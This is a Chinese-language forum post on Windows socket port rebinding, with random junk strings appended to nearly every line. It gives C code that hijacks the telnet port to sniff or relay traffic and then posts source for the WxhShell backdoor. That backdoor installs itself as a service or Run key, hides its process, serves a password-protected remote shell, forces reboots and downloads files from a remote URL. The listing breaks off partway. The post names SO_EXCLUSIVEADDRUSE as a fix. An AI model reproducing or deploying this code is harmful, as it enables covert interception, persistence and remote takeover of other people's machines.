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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H&)}Z6C"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !5o j~H  
@b,Az{EH  
  saddr.sin_family = AF_INET; 9 %T??-  
"=djo+y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5G f@n/M"  
T+<.KvO-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aj1]ZT \  
OM*c7&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &<PIm  
Qn!mS[l  
  这意味着什么?意味着可以进行如下的攻击: $^ws#}j  
ITn%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @AEH?gOX  
4E39]vb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]4l2jY  
UTD_rQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y7,I10:D  
=SfNA F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s<s}6|Z  
8=`L#FkRp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q>$MqKWM  
51jgx,-|$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KewW8H~tb  
X4 Arn,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s@F&N9oh  
r)*23&Ojs  
  #include fMUcVTFe  
  #include lG7PM^Eb  
  #include =,6H2ew  
  #include    MiT0!6Pg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ie.*x'b?y  
  int main() AW]\n;f  
  { D.K""*ula  
  WORD wVersionRequested; \MP~}t}c  
  DWORD ret; W [ l  
  WSADATA wsaData; .XJ'2yKof  
  BOOL val; 7n7Xyb  
  SOCKADDR_IN saddr; XX8HSw!w  
  SOCKADDR_IN scaddr; 3uLG$`N   
  int err; q+?<cjVg  
  SOCKET s; VdlT+'HF  
  SOCKET sc; eZ$7VWG#  
  int caddsize; &93{>caf+  
  HANDLE mt; 7Sx|n}a-3  
  DWORD tid;   z'YWomfZm  
  wVersionRequested = MAKEWORD( 2, 2 ); ,;$OaJFT  
  err = WSAStartup( wVersionRequested, &wsaData ); p F-Lz<V  
  if ( err != 0 ) { 1q6)R/P  
  printf("error!WSAStartup failed!\n"); vK',!1]y  
  return -1; H;/do-W[  
  } Mog >W&U  
  saddr.sin_family = AF_INET; [,o:nry'a  
   ,Z q:na  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R}nvSerVb  
0*gvHVd/l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r9[S%Def  
  saddr.sin_port = htons(23); |P >"a`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'f5 8Jwql  
  { !eW1d0n'+f  
  printf("error!socket failed!\n"); K:,V>DL  
  return -1; xfYKUOp/  
  } Qs&;MW4q  
  val = TRUE; G4* LO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m\&|#yq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a-{|/ n%  
  { ingG  
  printf("error!setsockopt failed!\n"); {VcRur}&Y8  
  return -1; =zkN63S  
  } n' ~ ==2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7he73  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1m*)MZ)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EA"hie7  
W$4$%r8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Coi[cfg0  
  { 0<,{poMM  
  ret=GetLastError(); mTZ/C#ir(  
  printf("error!bind failed!\n"); 6TP /0o)  
  return -1; O$*lPA[  
  } 6{h\CU}"  
  listen(s,2); GG%b"d-  
  while(1) "#1\uoH  
  { e?>  
  caddsize = sizeof(scaddr); d_9 C m@  
  //接受连接请求 2bt>t[0ad  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F Z"n6hWA  
  if(sc!=INVALID_SOCKET) l_g$6\&|  
  { q$:1Xkl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RkYdK$|K  
  if(mt==NULL) Y%KowgP\  
  { %7#<K\])  
  printf("Thread Creat Failed!\n"); ;UQGi}?CD  
  break; %_(vSpk  
  } FM {f{2j  
  } $L*gtZ  
  CloseHandle(mt); q0.!T0i  
  } IZZAR  
  closesocket(s); ^'`b\$km-0  
  WSACleanup(); )|~K&qn`  
  return 0; =7 l uV_5  
  }   Y2`sL,'h  
  DWORD WINAPI ClientThread(LPVOID lpParam) I dK*IA4  
  { \Zj%eW!m  
  SOCKET ss = (SOCKET)lpParam; gIB3DuUo  
  SOCKET sc; ?;XO1cs  
  unsigned char buf[4096]; Rl?1|$%  
  SOCKADDR_IN saddr; .9J^\%JD  
  long num; y ``\^F  
  DWORD val; dbf<k%i6  
  DWORD ret; c8uaZvfW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wWl ?c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;s +/'(*  
  saddr.sin_family = AF_INET; OSBR2Z;=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M':-f3aT%  
  saddr.sin_port = htons(23); V:\:[KcL^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) csP4Oq\g[  
  { A8% e _XA  
  printf("error!socket failed!\n"); lc,k-}n  
  return -1; m?e/MQr  
  }  u r$  
  val = 100; x@NfN*?/+i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .p[uIRd`  
  { Kb;*"@LX  
  ret = GetLastError(); WtOjPW  
  return -1; g}_2T\$k  
  } %1?t)Bg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _XZ Gj:V  
  { lp`j3)  
  ret = GetLastError(); ;4 ;gaf  
  return -1; ?8~l+m6s$  
  } 9UM)"I&k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H:.~! r  
  { iw)gNQ%z4  
  printf("error!socket connect failed!\n"); u?,>yf.;s  
  closesocket(sc); X!KX4H  
  closesocket(ss); Cl0kR3Y  
  return -1; MCE@EFD`\  
  } q{w|`vIb  
  while(1) |"*P`C=  
  { \K$\-]N+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;\pr05  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8m+~HSIR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +SFFwjI  
  num = recv(ss,buf,4096,0); F_@B ` ,  
  if(num>0) e{x>u(  
  send(sc,buf,num,0); b|i4me@  
  else if(num==0) ~XR ('}5D  
  break; |lNp0b  
  num = recv(sc,buf,4096,0); 72l:[5ccR  
  if(num>0) }a"=K%b<\  
  send(ss,buf,num,0); A$2 ;Bf  
  else if(num==0) 64'2ICf#m  
  break; O=%Ht-kOc  
  } Snkb^Kt  
  closesocket(ss); :<g0Ho?e  
  closesocket(sc); rN1]UaT  
  return 0 ; ; hQ[-  
  } h8/tKyr8(  
8ZtJvk`  
"Q@m7j)(  
========================================================== klKUX/ g  
)Xdq+$w.  
下边附上一个代码,,WXhSHELL v!I z&M:z  
kFjv'[Y1N  
========================================================== dA<%4_WZty  
}83 8F&  
#include "stdafx.h" .$\-{)  
2J=`"6c  
#include <stdio.h> qJG;`Ugl:  
#include <string.h> d(^8#4  
#include <windows.h> Bz'.7" ":0  
#include <winsock2.h> 0moAmfc  
#include <winsvc.h> l%+ &V^:  
#include <urlmon.h> k| OM?\  
SPqJ [ F  
#pragma comment (lib, "Ws2_32.lib") uO4 LD}A  
#pragma comment (lib, "urlmon.lib") 3eY>LWx  
'xS@cF o(  
#define MAX_USER   100 // 最大客户端连接数 |X@s {?  
#define BUF_SOCK   200 // sock buffer vA6`};|  
#define KEY_BUFF   255 // 输入 buffer ;Z*rY?v  
;!f='QuA  
#define REBOOT     0   // 重启 |uy@v6  
#define SHUTDOWN   1   // 关机 n n F  
6%V:Z  
#define DEF_PORT   5000 // 监听端口 0(i3RPIj\  
_i>_Sn1"  
#define REG_LEN     16   // 注册表键长度 1gK|n  
#define SVC_LEN     80   // NT服务名长度  )M;~j  
0er| QC  
// 从dll定义API p@pb[Bx~[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +pYgh8w@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w10~IP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |47t+[b   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h1S)B|~8  
J* !_O#  
// wxhshell配置信息 WWSycH ?[  
struct WSCFG { b'pwRKpx  
  int ws_port;         // 监听端口 _#\Nw0{  
  char ws_passstr[REG_LEN]; // 口令 lL zR5445)  
  int ws_autoins;       // 安装标记, 1=yes 0=no z#gebr~_\  
  char ws_regname[REG_LEN]; // 注册表键名 {N]WVp*R  
  char ws_svcname[REG_LEN]; // 服务名 :?~)P!/xl5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8(`e\)%l0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |kZ!-?9Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  8s22VL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '=nmdqP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T[4xt,[a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @7}XBg[pI  
0d2RB^"i  
}; Rir0^XqG  
=x+1A)Q  
// default Wxhshell configuration ~Bl,_?CBr  
struct WSCFG wscfg={DEF_PORT, d>u^ 7:  
    "xuhuanlingzhe", & &CrF~  
    1, _wXT9`|3  
    "Wxhshell", }V ]*FCpQ  
    "Wxhshell", L4^/O29  
            "WxhShell Service", i\lvxbp  
    "Wrsky Windows CmdShell Service", ~ 6=6YP  
    "Please Input Your Password: ", !{ *yWpZ:  
  1, 8^EWD3N`  
  "http://www.wrsky.com/wxhshell.exe", 9]N{8  
  "Wxhshell.exe"  0Y!"3bw|  
    }; (}wPu&Is,C  
t{UVX%b  
// 消息定义模块 uKzx >\}?1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e!0xh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2MB>NM<xO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ajkV"~w',|  
char *msg_ws_ext="\n\rExit."; F3V:B.C  
char *msg_ws_end="\n\rQuit."; G1it 3^*$  
char *msg_ws_boot="\n\rReboot..."; a;dWM(;Kw  
char *msg_ws_poff="\n\rShutdown..."; Yt*NIwWr  
char *msg_ws_down="\n\rSave to "; .@x.    
Z42q}Fhm*R  
char *msg_ws_err="\n\rErr!"; YKUAI+ks  
char *msg_ws_ok="\n\rOK!"; 1<~n2}   
<mP_K^9c  
char ExeFile[MAX_PATH]; 0Gj/yra9MO  
int nUser = 0; a1_ N~4r`  
HANDLE handles[MAX_USER]; N5l`Rq^K  
int OsIsNt; ax5n}  
H,<CR9@(5d  
SERVICE_STATUS       serviceStatus; Zz (qc5o,F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _*=4xmB.=  
Ng<ic  
// 函数声明 *0oa2fz%  
int Install(void); =oXlJ[)h  
int Uninstall(void); XR8`,qH>  
int DownloadFile(char *sURL, SOCKET wsh); hgYFR6VH  
int Boot(int flag); `6-flc0r  
void HideProc(void); BO}IN#  
int GetOsVer(void); EO(l?Fgw]$  
int Wxhshell(SOCKET wsl); ?r =`Kl  
void TalkWithClient(void *cs); -hfDf{QN  
int CmdShell(SOCKET sock); wL3BgCxqDL  
int StartFromService(void); gLSI?  
int StartWxhshell(LPSTR lpCmdLine); _"F=4`lJ  
ug{sQyLN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3<.DiY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Jy%4]wK  
ZuWh gnp  
// 数据结构和表定义  e+#Oj  
SERVICE_TABLE_ENTRY DispatchTable[] = jCj8XM{c>  
{ _[8JSw7  
{wscfg.ws_svcname, NTServiceMain}, >9XG+f66E  
{NULL, NULL} >r)UDa+  
}; _s-X5 xU  
Y,mo}X<>  
// 自我安装 .z$UNB(!M  
int Install(void) <NDV 5P  
{ 44n41.Q]  
  char svExeFile[MAX_PATH]; U1 3Lsky%  
  HKEY key; K HNU=k  
  strcpy(svExeFile,ExeFile); rp @%0/[  
)s7EhIP  
// 如果是win9x系统,修改注册表设为自启动 "=%YyH~WY  
if(!OsIsNt) { _@?I)4n|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qDg`4yX.}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T+0z.E!~I  
  RegCloseKey(key); I_Z?'M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3#""`]9H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RKMF?:  
  RegCloseKey(key); ku57<kb  
  return 0; [GM!@6U  
    }  ZJ)>gV  
  } SANb g&$  
} CNj |vYj  
else { wBI:}N@.  
IN;!s#cl:  
// 如果是NT以上系统,安装为系统服务 >f9Q&c$R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?3LV$S)U  
if (schSCManager!=0) uFuH/(}K[  
{ Pvv7|AV   
  SC_HANDLE schService = CreateService mGwJ>'+d  
  ( `nII@ !  
  schSCManager, K\RMX?YsP  
  wscfg.ws_svcname, C<QpUJ`k  
  wscfg.ws_svcdisp, 7!o#pt7  
  SERVICE_ALL_ACCESS, ho#<?rh_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rWJRoGk/  
  SERVICE_AUTO_START, y q2AZ@}"  
  SERVICE_ERROR_NORMAL, we}5'bS>  
  svExeFile, CyVi{"aF3  
  NULL, hYFi"ck  
  NULL, =JTwH>fD  
  NULL, .GYdC '  
  NULL, \'w.<)(GI  
  NULL w4^ $@GtN  
  ); ^eV  K.  
  if (schService!=0) }f{5-iwD}  
  { s)'+,lKw  
  CloseServiceHandle(schService); B'B0e`  
  CloseServiceHandle(schSCManager); ~y 2joStx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vPZ0?r_5W  
  strcat(svExeFile,wscfg.ws_svcname); 7k#>$sY+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;$*tn"- ?~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KB\ri&bF  
  RegCloseKey(key); _=[pW2p  
  return 0; E^w0X,0XlE  
    } 0ikA@SAq  
  } : @gW3'  
  CloseServiceHandle(schSCManager); e'v_eD T^  
} /lHs]) ,  
} e v7A;;  
Nb0T3\3W  
return 1; RY,L'Gt O  
} FD8  
't \sXN+1  
// 自我卸载 pP\^bjI   
int Uninstall(void) ]]u_Mdk  
{ a[=B?Bd  
  HKEY key; 5P('SFq'=  
NP.qh1{NP  
if(!OsIsNt) {  j)mS3#cH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # 5{lOeN  
  RegDeleteValue(key,wscfg.ws_regname); Q\^BOdX^`  
  RegCloseKey(key); tnX W7ej^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tuo'Uk)  
  RegDeleteValue(key,wscfg.ws_regname); =xH>,-8}  
  RegCloseKey(key); zyK11  
  return 0; #)T'a  
  } I$TD[W  
} s,laJf  
} Q."rE"}<  
else { FGo)] U  
>^f]Lgp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wC<FF2T  
if (schSCManager!=0) 85H*Xm?d#  
{ zs-,Y@ZL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cnDBT3$~Z  
  if (schService!=0) naY#`xig  
  { v`jFWq8I,  
  if(DeleteService(schService)!=0) { WK SWOSJ  
  CloseServiceHandle(schService); mL@7,GD  
  CloseServiceHandle(schSCManager); 4%>tk 8 [  
  return 0; 5B{Eg?  
  } ,+5 !1>\  
  CloseServiceHandle(schService); (elkk#  
  } @<S'f<>g  
  CloseServiceHandle(schSCManager); |z)7XK  
} O4W 2X@  
} Y=UN`vRR  
h9%.tGx  
return 1; 1(VskFtZF  
} -,"eN}P^  
~VF?T~Kr_  
// 从指定url下载文件 rqM_#[Y?  
int DownloadFile(char *sURL, SOCKET wsh) NC x)zJ\S  
{ ^X*l&R_=R  
  HRESULT hr; y=1(o3(  
char seps[]= "/"; H//,qxDc  
char *token; 4d-"kx3X  
char *file; `LWbL*;Y0  
char myURL[MAX_PATH]; %C >Win)g  
char myFILE[MAX_PATH]; PiX(Ase  
|y]8gL^  
strcpy(myURL,sURL); 7YU}-gi  
  token=strtok(myURL,seps); Eo{js?1G_  
  while(token!=NULL) J s,.$t  
  { `b5pa`\4  
    file=token; Ed"p|5~  
  token=strtok(NULL,seps); ;uU 8$  
  } ZN`I4Ak  
04E#d.o '  
GetCurrentDirectory(MAX_PATH,myFILE); e0o)Jo.P  
strcat(myFILE, "\\"); OFlY"O S[  
strcat(myFILE, file); 74~ %4  
  send(wsh,myFILE,strlen(myFILE),0); Xu[A,6  
send(wsh,"...",3,0); o l+*Oe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oyjhc<6  
  if(hr==S_OK) 4Cf.%f9@  
return 0; s9?H#^Y5u  
else \z=!It]f.  
return 1; ,NU`aG-  
*i7|~q/u  
} 0 !F! Y_  
OmECvL'Z  
// 系统电源模块 n\4sNoFI  
int Boot(int flag) xNxSgvco ,  
{ Z uO 7 N  
  HANDLE hToken; $,7Yo nc  
  TOKEN_PRIVILEGES tkp; ~w$ ^`e!]  
U#n1N7P|$F  
  if(OsIsNt) { @yn1#E,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;U<rFs40  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qnv)\M1  
    tkp.PrivilegeCount = 1; 4"%LgV`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M[ ,:NE4H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 09HqiROw  
if(flag==REBOOT) { !JwR[X\f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~jOk?^6  
  return 0; HS 1zA  
} {cAGOxwd  
else { 8<X; 8R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b,RQ" {  
  return 0; &B ^LaRg  
} -xU4s  
  } ,tHV H7[  
  else { 6t`cY  
if(flag==REBOOT) { )ocr.wU@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _2S( *  
  return 0; ft 4(^|~  
} 32,Y 3!%  
else { WQYw@M~4Q!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e[L%M:e9U  
  return 0; IM~2=+  
} (%iCP/E3  
} Wr\A ->+  
 i(n BXV{  
return 1; &\M<>>IB  
} ABnJ{$=n#  
%pImCpMR  
// win9x进程隐藏模块 6n$g73u<=3  
void HideProc(void) Z {*<G x  
{ xEqr3(  
R"qxT.P(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `"qSr%|  
  if ( hKernel != NULL ) nHF%PH#|o  
  { IkJ-*vI6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 18gApRa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O3["5  
    FreeLibrary(hKernel); 4oRDvn7f&  
  } !"QvV6Lq\  
5TS&NefM  
return; W 33MYw  
} #w# :f  
~k'SP(6#C  
// 获取操作系统版本 # Q61c  
int GetOsVer(void) 'P3jUc)  
{ z[0B"f  
  OSVERSIONINFO winfo; }w/6"MJ[n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |#`qP^E  
  GetVersionEx(&winfo); m e&'BQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {Z(kzJwN  
  return 1; tsN,yI]-VA  
  else ]?a i  
  return 0; 4b :q84  
} q!\4|KF~  
[^2c9K^NK  
// 客户端句柄模块 0hM!#BU5K  
int Wxhshell(SOCKET wsl) R>n=_C  
{ =' <789wT  
  SOCKET wsh; QNm8`1  
  struct sockaddr_in client; j )b[7%  
  DWORD myID; gano>W0  
d\v1R-V  
  while(nUser<MAX_USER) |WDMyKf6J  
{ D $3Mg  
  int nSize=sizeof(client); 6$A>%Jtwe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " TP^:Ln  
  if(wsh==INVALID_SOCKET) return 1; 6_kv~`"tZ  
nb}rfd.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -|_MC^)  
if(handles[nUser]==0) {>n\B~*,"C  
  closesocket(wsh); _%:$sAj  
else M#;"7Qg  
  nUser++; ` D={l29H  
  } b,uu dtlH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EN;s 8sC!  
~"nF$DB  
  return 0; 6-J%Z%yT #  
} 6g&Ev'  
u@pimRVo  
// 关闭 socket g}n-H4LI  
void CloseIt(SOCKET wsh) db`L0JB  
{ XsbYWJdds  
closesocket(wsh); `A ^  
nUser--; ME.a * v  
ExitThread(0); 6,a:s:$>}R  
} dh S7}n  
xY>@GSO1  
// 客户端请求句柄 `R6dnbH  
void TalkWithClient(void *cs) R]<N";-  
{ jiqE^j3;  
!N'HL-oT  
  SOCKET wsh=(SOCKET)cs; |Q?^Ba  
  char pwd[SVC_LEN]; x ?24oO  
  char cmd[KEY_BUFF]; 1U6 z2i+y  
char chr[1]; _kXq0~  
int i,j; K$/&C:,Q  
&$g{i:)Z  
  while (nUser < MAX_USER) { ;7E c'nC4  
2xK v;  
if(wscfg.ws_passstr) { V;29ieE!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3>QkO.b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #%7)a;'  
  //ZeroMemory(pwd,KEY_BUFF); (5a:O (\r  
      i=0; M`) /^S9  
  while(i<SVC_LEN) { a]nK!;>$  
?/|KM8  
  // 设置超时 '8w>=9Xl  
  fd_set FdRead; AX;!-|bW  
  struct timeval TimeOut; I>JBGR`j  
  FD_ZERO(&FdRead); F<TIZ^gFP  
  FD_SET(wsh,&FdRead); #ADm^UT^  
  TimeOut.tv_sec=8; YJu~iQ`i  
  TimeOut.tv_usec=0; {;vLM* '  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 03H0(ku=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y4)iL?!J~  
M>[e1y>7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z"P/Geb:O  
  pwd=chr[0]; `3yK<-  
  if(chr[0]==0xd || chr[0]==0xa) { U*4r<y9R  
  pwd=0; sm"s2Ci=}  
  break; ,0a\Ka {^  
  } ( 4(,"  
  i++; "fu:hHq  
    } fPPC`d&Q3  
ir|c<~_=  
  // 如果是非法用户,关闭 socket f~ wgMp.W0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f0&%  
} Q$(Fm a4a  
ZeLed[J^xJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,49Z/P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bEm9hFvd  
8PR\a!"  
while(1) { L3=5tuQ[5  
Qk72ra)  
  ZeroMemory(cmd,KEY_BUFF); >#VNA^+t  
LwYWgT\e  
      // 自动支持客户端 telnet标准    :g~_  
  j=0; 3 3zE5vr  
  while(j<KEY_BUFF) { h:RP/ 0E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }i{A4f `  
  cmd[j]=chr[0]; g%<n9AUl  
  if(chr[0]==0xa || chr[0]==0xd) { ]f_`w81[  
  cmd[j]=0; wJj:hA}  
  break; p(6 sN=  
  } P; h8  
  j++; )2a)$qx;  
    } ;5DDV6  
\PWH( E9  
  // 下载文件 ;y_]w6|n  
  if(strstr(cmd,"http://")) { S5V:HRj{?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "hi03k  
  if(DownloadFile(cmd,wsh)) 9dm oB_G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1YK(oRSDn  
  else [5!dO\-[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (9R;-3vY:S  
  } Gk]ZP31u  
  else { te4=  
5|5p -B  
    switch(cmd[0]) { HuJc*op-6  
  c?N,Cd~q  
  // 帮助 pH3<QNq5  
  case '?': { PMUW<UI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *YSRZvD<\  
    break; `Qjs {H  
  } |]?zH~L  
  // 安装 &r\8VEZq"  
  case 'i': { \W]gy_=D{  
    if(Install()) .cbC2t95  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YS_3Cq  
    else p6Z|)1O]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -We9 FO~  
    break; HItNd  
    } A,BYi$  
  // 卸载 z0OxJe  
  case 'r': { c_8<N7 C  
    if(Uninstall()) [dAQrou6P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QFMA y>Gdn  
    else =3 Vug2*wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YZ`SF"Bd(  
    break; tj$[szo  
    } s&Y"a,|Z  
  // 显示 wxhshell 所在路径 kg 8Dn  
  case 'p': { BM'!odRv  
    char svExeFile[MAX_PATH]; 2?SbkU/3|P  
    strcpy(svExeFile,"\n\r"); 'NZ=DSGIy  
      strcat(svExeFile,ExeFile); +:"0 %(  
        send(wsh,svExeFile,strlen(svExeFile),0); U (#JC(E-#  
    break; iGkysU<wcp  
    } le]~Cy0  
  // 重启 x x4GP2  
  case 'b': { &7oL2 Wf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7[w<v(Rc  
    if(Boot(REBOOT)) vFB^h1k~.M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZP5 !O[Ut  
    else { IzJq:G.  
    closesocket(wsh); B0%=! &  
    ExitThread(0); 1Dl6T\20  
    } > (9\ cF{  
    break; g4 eW<  
    } 3 ye  
  // 关机 x-e6[_F  
